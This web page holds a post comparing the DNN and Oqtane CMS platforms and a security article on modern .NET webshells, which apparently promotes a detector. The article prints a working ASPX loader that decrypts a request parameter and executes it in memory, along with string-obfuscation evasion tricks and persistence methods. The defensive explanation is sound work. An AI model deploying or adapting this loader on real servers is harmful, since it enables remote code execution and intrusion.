Login Register

DNN and Oqtane

I've been working with DNN Platform (DotNetNuke) since the very early versions – it's familiar, powerful, and "does everything." Recently, I've also spent a lot of time with Oqtane – the "spiritual successor" from the same creator, Shaun Walker. After multiple large and small projects, here are my honest, no-fluff thoughts to help those of you who are still deciding.

1. DNN: The Reliable "Big Brother" – Does Everything, Super Familiar

DNN really can handle almost anything. Modules? Thousands available – membership management, events, e-commerce, ERP integrations, industry-specific ones (real estate, hospitals, schools...). Skins? Ready-made, beautiful, responsive for years. The admin panel is so familiar that you know exactly what to do just by looking.

I used to think DNN was too legacy-heavy (WebForms, old postbacks, lower performance compared to modern stacks). But recent BuiltWith data (early 2026) shows ~48,000–49,000 live sites, with signs of slight growth again. Why?

  • DNN 10.x updates (especially 10.0 to 10.2.x) have improved a lot: removed legacy APIs, better .NET Framework 4.8 support, JWT/API tokens, smoother content approval, constant security fixes.
  • Many enterprise and government sites have run DNN stably for 10–15 years – low maintenance cost, familiar team.
  • Commercial module ecosystem is still alive; many providers continue selling high-quality DNN modules.

In short: DNN isn't "Old guy" as some AIs think. It's like an old reliable truck that's been upgraded with a new engine – still great for long hauls.

2. Oqtane: Lightweight, Blazing Fast, Modern – But Ecosystem Still "Young"

Oqtane is completely different: full Blazor (.NET 8/9/10), SPA experience (no page reloads), incredibly fast page loads (especially Blazor Server + prerendering). Code is clean, modular just like old DNN philosophy: plug-and-play modules, multi-tenant, easy to extend.

I've tested small projects: really quick deploy and fast on same hosting account, I am sure it can work with any hosting providers, sql.. . The admin panel is simpler than DNN but get improved – true plug-and-play feel.

Real talk though:

  • Available modules are still limited (mostly core + some high-quality community ones).
  • Themes/skins aren't as rich or varied as DNN's.
    • Blazor is currently the best technology anounced by Microsoft --> that's why.
  • For complex features right away (advanced membership, full e-commerce), you'll need to build or wait – more time than DNN.

3. Our Team's Conclusion: Run Both in Parallel – But With Eyes on the Future

After careful evaluation (and checking recent forum activity):

  • DNN forums and community groups are noticeably quieter now – fewer interactions, smaller active groups compared to the golden years. It's not dead, but the energy has declined, which is understandable given the shift in .NET trends.
  • Anything running well on DNN (large legacy sites, existing clients, ready modules) → keep maintaining normally. Upgrade to DNN 10.x for security and performance stability. No rush to migrate if there's no urgent reason.
  • But for all new projects (2026 onward) → prioritize Oqtane. Reasons: modern tech, Blazor is hot and sound so promising, high performance, long-term future-proof (.NET 10 LTS until 2028). We're building shared core modules (auth, multi-tenant, content) to reuse across both, and migrate gradually when needed.

We still love DNN – deeply. It's given us so much over the years: stability, ecosystem, familiarity. But from what we've seen on the forums and in the broader .NET community, even though we love DNN, we also love Oqtane for carrying forward the same modular, developer-friendly spirit – just rebuilt for today's world (Blazor, SPA, cross-platform potential).

This dual approach lets us:

  • Retain old flatform (stable).
  • Prepare for the future (performance, mobile hybrid, cloud-native) and dont have to look elsewhere: WP, Umbraco....
  • All tools we have.

Update 2026: What Our Team Is Actually Building to Bridge DNN and Oqtane

Many of you asked: "So what is your team concretely doing to support the transition?" Here's the real update (March 2026).

  1. Tool to Convert DNN Skins for Use on Oqtane
    Our biggest (and most challenging) ongoing project. DNN skins are typically .ascx files with server controls, Token replacements, skin objects, and inline Razor/VB, C#, HTML/CSS mixes. Oqtane themes are pure Blazor Razor components (.razor files) + CSS/JS, using Layout.razor, Pane components, and dynamic rendering via Cascading parameters.
    Currently in internal beta. Goal: public release (low-cost) soon.
  2. Form Module That Runs Seamlessly on Both Platforms
    We built an Advanced Form Builder from scratch.
    - Native on DNN and 100% on Oqtane.
    - Shared codebase: validation, submissions, emails, integrations.
    - Multi-tenant, conditional fields, file uploads, captcha, anti-spam.
    Already live for several clients; great feedback on speed and UX.
  3. MegaMenu: About to Release!
    MegaMenu is essential for large sites.
    - Finalizing a MegaMenu module for Oqtane (with DNN compatible version).
    - Features: Drag-drop builder, icons support, mega dropdown columns, mobile responsive.
    - Planned: Q2 2026 (possibly sooner).
  4. Our Iron Rule: 12+ High-Quality Modules per Year – No Junk
    Team commitment:
    - Only high-quality: clean code, documented, tested, secure.
    - No low-value or buggy modules.
    - Target: 12+ per year, focused on real enterprise needs.
    All aim for cross-compatibility between DNN & Oqtane.

Final Thoughts

We haven't abandoned DNN – we still maintain legacy sites and appreciate everything it has built. But with quieter forums and shifting community energy, we're excited to embrace Oqtane as the natural evolution.

If you're on DNN and worried about the future: Follow our skin converter tool and cross-platform modules. We're happy to share beta/tests (comment or DM me)!

What do you think of this direction? Which module would you like us to build next? 😊

#dotnet #blazor #oqtane #dnn #cms #aspnetcore #moduledevelopment #migration

Modern Webshells 2024–2026: Minimal C# Loader Techniques with Encrypted Payloads from C2 and How They Bypass Detection

Written By
SuperUser Account
Tags
2026-02-12

In today’s cybersecurity landscape, webshells have evolved far beyond the simple scripts of the past (such as China Chopper). From 2024 to 2026, attackers have become increasingly sophisticated—particularly in .NET/C# environments. Instead of large, obvious backdoors, they now deploy minimal loader-style components that retrieve encrypted content from Command & Control (C&C) infrastructure, execute primarily in memory, and leave very limited forensic traces.

Today, we will examine one of the detection capabilities that the DNNDefender module is designed to provide—specifically, the types of stealth techniques that are often overlooked by traditional antivirus engines or hosting-level firewalls. While AV solutions typically rely on signatures and generic heuristics, and hosting firewalls focus on network-layer filtering, modern loader-based implants often operate within legitimate IIS and .NET execution flows, making them far harder to identify.

This article explores how these patterns work at a high level, why they evade conventional defenses, and how targeted application-layer monitoring within the DNN ecosystem can significantly improve visibility and detection accuracy.

1. What Are Modern Webshells? Trends in 2024-2026

Webshells are malicious scripts or files uploaded to web servers, enabling remote code execution (RCE). According to recent reports from Microsoft Security and Trend Micro:

  • Deep integration with IIS/Windows → easy to disguise as legitimate files (.aspx, .ashx).
  • Memory-only execution → no disk writes, evading file-based AV detection.
  • Encrypted communication → payloads from C&C are AES/RSA-encrypted, decrypted only in memory.
  • Used by APT groups → such as Earth Alux (China-nexus) in espionage campaigns (2025 reports).

2. Core Technique: Minimal C# Loader Downloading Encrypted Payloads from C&C

Modern webshells are often tiny ASPX/ASHX files acting purely as loaders: they receive an encrypted parameter from the request, decrypt it, load an assembly via reflection, and execute the payload without writing to disk.

Simple Sample of Minimal Code (Obfuscated Loader)

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
void Loader() {
    string enc = Request["p"];
    if (string.IsNullOrEmpty(enc)) return;
    byte[] key = new byte[] { /* random 32-byte key */ }; // Hard-coded key
    byte[] iv = new byte[] { /* random 16-byte IV */ };
    byte[] data = Convert.FromBase64String(enc);
    using (Aes aes = Aes.Create()) {
        aes.Key = key; aes.IV = iv;
        ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
        using (MemoryStream ms = new MemoryStream()) {
            using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Write)) {
                cs.Write(data, 0, data.Length); cs.FlushFinalBlock();
            }
            byte[] payload = ms.ToArray();
            Assembly.Load(payload).GetTypes()[0].GetMethod("Run").Invoke(null, null);
        }
    }
}
// Junk code for obfuscation
protected string junk1 = "randomstr";
protected int junk2 = 123;
protected void Page_Load(object sender, EventArgs e) { Loader(); }
</script>

How it works:

  1. Attacker sends: http://victim.com/shell.aspx?p=[base64_encrypted_payload]
  2. Code decrypts AES (key/IV hard-coded or dynamic).
  3. Loads payload as an in-memory assembly (no file creation).
  4. Invokes the Run method (backdoor, data exfil, ransomware deployment, etc.).

3. Bypass Detection: How They Evade AV/EDR

Simply relying on regex patterns to detect calls like Assembly.Load is far from sufficient in practice. Modern attackers frequently fragment and obfuscate these strings—such as splitting them into concatenated parts ("Syst" + "em.Ref" + "lection.Ass" + "embly.Load"), using Unicode escapes (\u0053\u0079\u0073\u0074\u0065\u006d...), or dynamically building them from byte arrays or environment variables—as documented in numerous recent reports (e.g., Microsoft Security Blog 2025, Fortinet analysis of ToolShell variants, and Cyfirma 2025). These techniques easily evade basic static regex-based scanning.

In contrast, DNNDefender has been specifically optimized for these sophisticated threats. By combining advanced AI-driven analysis, AST (Abstract Syntax Tree) parsing, complex rule sets, and behavioral heuristics, it can detect even heavily obfuscated reflection patterns and in-memory assembly loading that pure regex would miss. Real-world testing has shown DNNDefender consistently outperforms traditional signature-based approaches in identifying modern .NET webshells and loaders.

  • Obfuscation: Repeated junk code, string encryption, or tools like ConfuserEx.
  • Fileless Execution: Fully in-memory → bypasses file scanners.
  • Legitimate APIs: Relies on Reflection + Cryptography (avoids direct Process.Start hooks).
  • Encrypted Traffic: HTTPS + custom encryption from C&C mimics legitimate traffic.
  • Persistence: Registers as IIS module or hooks global.asax for reload on every request.

4. Long-Term Persistence on Servers

  • Disguised as legitimate files (e.g., error.aspx in module folders).
  • Memory-resident in IIS worker processes (w3wp.exe).
  • Creates scheduled tasks or registry hooks.
  • Enables lateral movement to internal servers.

Conclusion: Detection and Defense Strategies

Modern webshells are extremely difficult to detect, but effective defense is possible with a layered strategy:

  • Leverage strong specialized tools like DNNDefender, which in real-world testing has proven highly effective at catching modern .NET webshells and loaders. Combine it with complementary methods such as YARA rules focused on reflection patterns, in-memory execution signatures, or enterprise EDR solutions (CrowdStrike, Microsoft Defender for Endpoint) for broader coverage.
  • Monitor IIS logs closely for suspicious patterns (e.g., unusual parameters like ?p=, base64-heavy requests, or unexpected POSTs to .aspx/.ashx files), enforce strict file upload restrictions, and apply timely patches for .NET and IIS vulnerabilities.
  • Continuously validate and improve your defenses by regularly testing with real-world encrypted samples (password-protected archives containing modern variants) to fine-tune detection rules and reduce false negatives.

Stay vigilant!

References: Microsoft Security Blog, Trend Micro Reports, Sygnia, Cyfirma (2025).

This article is for educational and research purposes in cybersecurity only.